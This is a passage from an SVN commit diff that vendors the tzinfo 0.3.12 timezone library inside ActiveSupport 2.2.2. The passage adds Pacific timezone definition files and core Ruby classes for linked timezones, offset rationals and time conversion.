+          tz.offset :o0, 41088, 0, :LMT
+          tz.offset :o1, 39600, 0, :MHT
+          tz.offset :o2, 43200, 0, :MHT
+          
+          tz.transition 1900, 12, :o1, 1086923261, 450
+          tz.transition 1969, 9, :o2, 58571881, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Midway
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Midway' do |tz|
+          tz.offset :o0, -42568, 0, :LMT
+          tz.offset :o1, -39600, 0, :NST
+          tz.offset :o2, -39600, 3600, :NDT
+          tz.offset :o3, -39600, 0, :BST
+          tz.offset :o4, -39600, 0, :SST
+          
+          tz.transition 1901, 1, :o1, 26086168721, 10800
+          tz.transition 1956, 6, :o2, 58455071, 24
+          tz.transition 1956, 9, :o1, 29228627, 12
+          tz.transition 1967, 4, :o3, 58549967, 24
+          tz.transition 1983, 11, :o4, 439038000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Noumea
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Noumea' do |tz|
+          tz.offset :o0, 39948, 0, :LMT
+          tz.offset :o1, 39600, 0, :NCT
+          tz.offset :o2, 39600, 3600, :NCST
+          
+          tz.transition 1912, 1, :o1, 17419781071, 7200
+          tz.transition 1977, 12, :o2, 250002000
+          tz.transition 1978, 2, :o1, 257342400
+          tz.transition 1978, 12, :o2, 281451600
+          tz.transition 1979, 2, :o1, 288878400
+          tz.transition 1996, 11, :o2, 849366000
+          tz.transition 1997, 3, :o1, 857228400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Pago_Pago
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Pago_Pago' do |tz|
+          tz.offset :o0, 45432, 0, :LMT
+          tz.offset :o1, -40968, 0, :LMT
+          tz.offset :o2, -41400, 0, :SAMT
+          tz.offset :o3, -39600, 0, :NST
+          tz.offset :o4, -39600, 0, :BST
+          tz.offset :o5, -39600, 0, :SST
+          
+          tz.transition 1879, 7, :o1, 2889041969, 1200
+          tz.transition 1911, 1, :o2, 2902845569, 1200
+          tz.transition 1950, 1, :o3, 116797583, 48
+          tz.transition 1967, 4, :o4, 58549967, 24
+          tz.transition 1983, 11, :o5, 439038000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Port_Moresby
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Port_Moresby' do |tz|
+          tz.offset :o0, 35320, 0, :LMT
+          tz.offset :o1, 35312, 0, :PMMT
+          tz.offset :o2, 36000, 0, :PGT
+          
+          tz.transition 1879, 12, :o1, 5200664597, 2160
+          tz.transition 1894, 12, :o2, 13031248093, 5400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Pacific
+      module Tongatapu
+        include TimezoneDefinition
+        
+        timezone 'Pacific/Tongatapu' do |tz|
+          tz.offset :o0, 44360, 0, :LMT
+          tz.offset :o1, 44400, 0, :TOT
+          tz.offset :o2, 46800, 0, :TOT
+          tz.offset :o3, 46800, 3600, :TOST
+          
+          tz.transition 1900, 12, :o1, 5217231571, 2160
+          tz.transition 1940, 12, :o2, 174959639, 72
+          tz.transition 1999, 10, :o3, 939214800
+          tz.transition 2000, 3, :o2, 953384400
+          tz.transition 2000, 11, :o3, 973342800
+          tz.transition 2001, 1, :o2, 980596800
+          tz.transition 2001, 11, :o3, 1004792400
+          tz.transition 2002, 1, :o2, 1012046400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,52 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/timezone'
+
+module TZInfo
+
+  # A Timezone based on a TimezoneInfo.
+  class InfoTimezone < Timezone #:nodoc:
+    
+    # Constructs a new InfoTimezone with a TimezoneInfo instance.
+    def self.new(info)      
+      tz = super()
+      tz.send(:setup, info)
+      tz
+    end
+    
+    # The identifier of the timezone, e.g. "Europe/Paris".
+    def identifier
+      @info.identifier
+    end
+    
+    protected
+      # The TimezoneInfo for this Timezone.
+      def info
+        @info
+      end
+          
+      def setup(info)
+        @info = info
+      end
+  end    
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/info_timezone'
+
+module TZInfo
+
+  class LinkedTimezone < InfoTimezone #:nodoc:
+    # Returns the TimezonePeriod for the given UTC time. utc can either be
+    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
+    # information in utc is ignored (it is treated as a UTC time).        
+    #
+    # If no TimezonePeriod could be found, PeriodNotFound is raised.
+    def period_for_utc(utc)
+      @linked_timezone.period_for_utc(utc)
+    end
+    
+    # Returns the set of TimezonePeriod instances that are valid for the given
+    # local time as an array. If you just want a single period, use 
+    # period_for_local instead and specify how abiguities should be resolved.
+    # Raises PeriodNotFound if no periods are found for the given time.
+    def periods_for_local(local)
+      @linked_timezone.periods_for_local(local)
+    end
+    
+    protected
+      def setup(info)
+        super(info)
+        @linked_timezone = Timezone.get(info.link_to_identifier)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,44 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/timezone_info'
+
+module TZInfo
+  # Represents a linked timezone defined in a data module.
+  class LinkedTimezoneInfo < TimezoneInfo #:nodoc:
+        
+    # The zone that provides the data (that this zone is an alias for).
+    attr_reader :link_to_identifier
+    
+    # Constructs a new TimezoneInfo with an identifier and the identifier
+    # of the zone linked to.
+    def initialize(identifier, link_to_identifier)
+      super(identifier)
+      @link_to_identifier = link_to_identifier      
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      "#<#{self.class}: #@identifier,#@link_to_identifier>"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,98 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'rational'
+require 'tzinfo/ruby_core_support'
+
+module TZInfo
+  
+  # Provides a method for getting Rationals for a timezone offset in seconds.
+  # Pre-reduced rationals are returned for all the half-hour intervals between
+  # -14 and +14 hours to avoid having to call gcd at runtime.  
+  module OffsetRationals #:nodoc:
+    @@rational_cache = {
+      -50400 => RubyCoreSupport.rational_new!(-7,12), 
+      -48600 => RubyCoreSupport.rational_new!(-9,16),
+      -46800 => RubyCoreSupport.rational_new!(-13,24),
+      -45000 => RubyCoreSupport.rational_new!(-25,48),
+      -43200 => RubyCoreSupport.rational_new!(-1,2),
+      -41400 => RubyCoreSupport.rational_new!(-23,48),
+      -39600 => RubyCoreSupport.rational_new!(-11,24),
+      -37800 => RubyCoreSupport.rational_new!(-7,16),
+      -36000 => RubyCoreSupport.rational_new!(-5,12),
+      -34200 => RubyCoreSupport.rational_new!(-19,48),
+      -32400 => RubyCoreSupport.rational_new!(-3,8),
+      -30600 => RubyCoreSupport.rational_new!(-17,48),
+      -28800 => RubyCoreSupport.rational_new!(-1,3),
+      -27000 => RubyCoreSupport.rational_new!(-5,16),
+      -25200 => RubyCoreSupport.rational_new!(-7,24),
+      -23400 => RubyCoreSupport.rational_new!(-13,48),
+      -21600 => RubyCoreSupport.rational_new!(-1,4),
+      -19800 => RubyCoreSupport.rational_new!(-11,48),
+      -18000 => RubyCoreSupport.rational_new!(-5,24),
+      -16200 => RubyCoreSupport.rational_new!(-3,16),
+      -14400 => RubyCoreSupport.rational_new!(-1,6),
+      -12600 => RubyCoreSupport.rational_new!(-7,48),
+      -10800 => RubyCoreSupport.rational_new!(-1,8),
+       -9000 => RubyCoreSupport.rational_new!(-5,48),
+       -7200 => RubyCoreSupport.rational_new!(-1,12),
+       -5400 => RubyCoreSupport.rational_new!(-1,16),
+       -3600 => RubyCoreSupport.rational_new!(-1,24),
+       -1800 => RubyCoreSupport.rational_new!(-1,48),
+           0 => RubyCoreSupport.rational_new!(0,1),
+        1800 => RubyCoreSupport.rational_new!(1,48),
+        3600 => RubyCoreSupport.rational_new!(1,24),
+        5400 => RubyCoreSupport.rational_new!(1,16),
+        7200 => RubyCoreSupport.rational_new!(1,12),
+        9000 => RubyCoreSupport.rational_new!(5,48),
+       10800 => RubyCoreSupport.rational_new!(1,8),
+       12600 => RubyCoreSupport.rational_new!(7,48),
+       14400 => RubyCoreSupport.rational_new!(1,6),
+       16200 => RubyCoreSupport.rational_new!(3,16),
+       18000 => RubyCoreSupport.rational_new!(5,24),
+       19800 => RubyCoreSupport.rational_new!(11,48),
+       21600 => RubyCoreSupport.rational_new!(1,4),
+       23400 => RubyCoreSupport.rational_new!(13,48),
+       25200 => RubyCoreSupport.rational_new!(7,24),
+       27000 => RubyCoreSupport.rational_new!(5,16),
+       28800 => RubyCoreSupport.rational_new!(1,3),
+       30600 => RubyCoreSupport.rational_new!(17,48),
+       32400 => RubyCoreSupport.rational_new!(3,8),
+       34200 => RubyCoreSupport.rational_new!(19,48),
+       36000 => RubyCoreSupport.rational_new!(5,12),
+       37800 => RubyCoreSupport.rational_new!(7,16),
+       39600 => RubyCoreSupport.rational_new!(11,24),
+       41400 => RubyCoreSupport.rational_new!(23,48),
+       43200 => RubyCoreSupport.rational_new!(1,2),
+       45000 => RubyCoreSupport.rational_new!(25,48),
+       46800 => RubyCoreSupport.rational_new!(13,24),
+       48600 => RubyCoreSupport.rational_new!(9,16),
+       50400 => RubyCoreSupport.rational_new!(7,12)}
+    
+    # Returns a Rational expressing the fraction of a day that offset in 
+    # seconds represents (i.e. equivalent to Rational(offset, 86400)). 
+    def rational_for_offset(offset)
+      @@rational_cache[offset] || Rational(offset, 86400)      
+    end
+    module_function :rational_for_offset
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,56 @@
+#--
+# Copyright (c) 2008 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'date'
+require 'rational'
+
+module TZInfo
+  
+  # Methods to support different versions of Ruby.
+  module RubyCoreSupport #:nodoc:
+  
+    # Use Rational.new! for performance reasons in Ruby 1.8.
+    # This has been removed from 1.9, but Rational performs better.        
+    if Rational.respond_to? :new!
+      def self.rational_new!(numerator, denominator = 1)
+        Rational.new!(numerator, denominator)
+      end
+    else
+      def self.rational_new!(numerator, denominator = 1)
+        Rational(numerator, denominator)
+      end
+    end
+    
+    # Ruby 1.8.6 introduced new! and deprecated new0.
+    # Ruby 1.9.0 removed new0.
+    # We still need to support new0 for older versions of Ruby.
+    if DateTime.respond_to? :new!
+      def self.datetime_new!(ajd = 0, of = 0, sg = Date::ITALY)
+        DateTime.new!(ajd, of, sg)
+      end
+    else
+      def self.datetime_new!(ajd = 0, of = 0, sg = Date::ITALY)
+        DateTime.new0(ajd, of, sg)
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,292 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'date'
+require 'time'
+require 'tzinfo/offset_rationals'
+
+module TZInfo
+  # Used by TZInfo internally to represent either a Time, DateTime or integer
+  # timestamp (seconds since 1970-01-01 00:00:00).
+  class TimeOrDateTime #:nodoc:
+    include Comparable
+    
+    # Constructs a new TimeOrDateTime. timeOrDateTime can be a Time, DateTime
+    # or an integer. If using a Time or DateTime, any time zone information is 
+    # ignored.
+    def initialize(timeOrDateTime)
+      @time = nil
+      @datetime = nil
+      @timestamp = nil
+      
+      if timeOrDateTime.is_a?(Time)
+        @time = timeOrDateTime        
+        @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec) unless @time.zone == 'UTC'        
+        @orig = @time
+      elsif timeOrDateTime.is_a?(DateTime)
+        @datetime = timeOrDateTime
+        @datetime = @datetime.new_offset(0) unless @datetime.offset == 0
+        @orig = @datetime
+      else
+        @timestamp = timeOrDateTime.to_i
+        @orig = @timestamp
+      end
+    end
+    
+    # Returns the time as a Time.
+    def to_time
+      unless @time        
+        if @timestamp 
+          @time = Time.at(@timestamp).utc
+        else
+          @time = Time.utc(year, mon, mday, hour, min, sec)
+        end
+      end
+      
+      @time      
+    end
+    
+    # Returns the time as a DateTime.
+    def to_datetime
+      unless @datetime
+        @datetime = DateTime.new(year, mon, mday, hour, min, sec)
+      end
+      
+      @datetime
+    end
+    
+    # Returns the time as an integer timestamp.
+    def to_i
+      unless @timestamp
+        @timestamp = to_time.to_i
+      end
+      
+      @timestamp
+    end
+    
+    # Returns the time as the original time passed to new.
+    def to_orig
+      @orig
+    end
+    
+    # Returns a string representation of the TimeOrDateTime.
+    def to_s
+      if @orig.is_a?(Time)
+        "Time: #{@orig.to_s}"
+      elsif @orig.is_a?(DateTime)
+        "DateTime: #{@orig.to_s}"
+      else
+        "Timestamp: #{@orig.to_s}"
+      end
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      "#<#{self.class}: #{@orig.inspect}>"
+    end
+    
+    # Returns the year.
+    def year
+      if @time
+        @time.year
+      elsif @datetime
+        @datetime.year
+      else
+        to_time.year
+      end
+    end
+    
+    # Returns the month of the year (1..12).
+    def mon
+      if @time
+        @time.mon
+      elsif @datetime
+        @datetime.mon
+      else
+        to_time.mon
+      end
+    end
+    alias :month :mon
+    
+    # Returns the day of the month (1..n).
+    def mday
+      if @time
+        @time.mday
+      elsif @datetime
+        @datetime.mday
+      else
+        to_time.mday
+      end
+    end
+    alias :day :mday
+    
+    # Returns the hour of the day (0..23).
+    def hour
+      if @time
+        @time.hour
+      elsif @datetime
+        @datetime.hour
+      else
+        to_time.hour
+      end
+    end
+    
+    # Returns the minute of the hour (0..59).
+    def min
+      if @time
+        @time.min
+      elsif @datetime
+        @datetime.min
+      else
+        to_time.min
+      end
+    end
+    
+    # Returns the second of the minute (0..60). (60 for a leap second).
+    def sec
+      if @time
+        @time.sec
+      elsif @datetime
+        @datetime.sec
+      else
+        to_time.sec
+      end
+    end
+    
+    # Compares this TimeOrDateTime with another Time, DateTime, integer
+    # timestamp or TimeOrDateTime. Returns -1, 0 or +1 depending whether the 
+    # receiver is less than, equal to, or greater than timeOrDateTime.
+    #
+    # Milliseconds and smaller units are ignored in the comparison.
+    def <=>(timeOrDateTime)
+      if timeOrDateTime.is_a?(TimeOrDateTime)            
+        orig = timeOrDateTime.to_orig
+        
+        if @orig.is_a?(DateTime) || orig.is_a?(DateTime)
+          # If either is a DateTime, assume it is there for a reason 
+          # (i.e. for range).
+          to_datetime <=> timeOrDateTime.to_datetime
+        elsif orig.is_a?(Time)
+          to_time <=> timeOrDateTime.to_time
+        else
+          to_i <=> timeOrDateTime.to_i
+        end        
+      elsif @orig.is_a?(DateTime) || timeOrDateTime.is_a?(DateTime)
+        # If either is a DateTime, assume it is there for a reason 
+        # (i.e. for range).        
+        to_datetime <=> TimeOrDateTime.wrap(timeOrDateTime).to_datetime
+      elsif timeOrDateTime.is_a?(Time)
+        to_time <=> timeOrDateTime
+      else
+        to_i <=> timeOrDateTime.to_i
+      end
+    end
+    
+    # Adds a number of seconds to the TimeOrDateTime. Returns a new 
+    # TimeOrDateTime, preserving what the original constructed type was.
+    # If the original type is a Time and the resulting calculation goes out of
+    # range for Times, then an exception will be raised by the Time class.
+    def +(seconds)
+      if seconds == 0
+        self
+      else
+        if @orig.is_a?(DateTime)
+          TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))
+        else
+          # + defined for Time and integer timestamps
+          TimeOrDateTime.new(@orig + seconds)
+        end
+      end
+    end
+    
+    # Subtracts a number of seconds from the TimeOrDateTime. Returns a new 
+    # TimeOrDateTime, preserving what the original constructed type was.
+    # If the original type is a Time and the resulting calculation goes out of
+    # range for Times, then an exception will be raised by the Time class.
+    def -(seconds)
+      self + (-seconds)
+    end
+   
+    # Similar to the + operator, but for cases where adding would cause a 
+    # timestamp or time to go out of the allowed range, converts to a DateTime
+    # based TimeOrDateTime.
+    def add_with_convert(seconds)
+      if seconds == 0
+        self
+      else
+        if @orig.is_a?(DateTime)
+          TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))
+        else
+          # A Time or timestamp.
+          result = to_i + seconds
+          
+          if result < 0 || result > 2147483647
+            result = TimeOrDateTime.new(to_datetime + OffsetRationals.rational_for_offset(seconds))
+          else
+            result = TimeOrDateTime.new(@orig + seconds)
+          end
+        end
+      end
+    end
+    
+    # Returns true if todt represents the same time and was originally 
+    # constructed with the same type (DateTime, Time or timestamp) as this 
+    # TimeOrDateTime.
+    def eql?(todt)
+      todt.respond_to?(:to_orig) && to_orig.eql?(todt.to_orig)      
+    end
+    
+    # Returns a hash of this TimeOrDateTime.
+    def hash
+      @orig.hash
+    end
+    
+    # If no block is given, returns a TimeOrDateTime wrapping the given 
+    # timeOrDateTime. If a block is specified, a TimeOrDateTime is constructed
+    # and passed to the block. The result of the block must be a TimeOrDateTime.
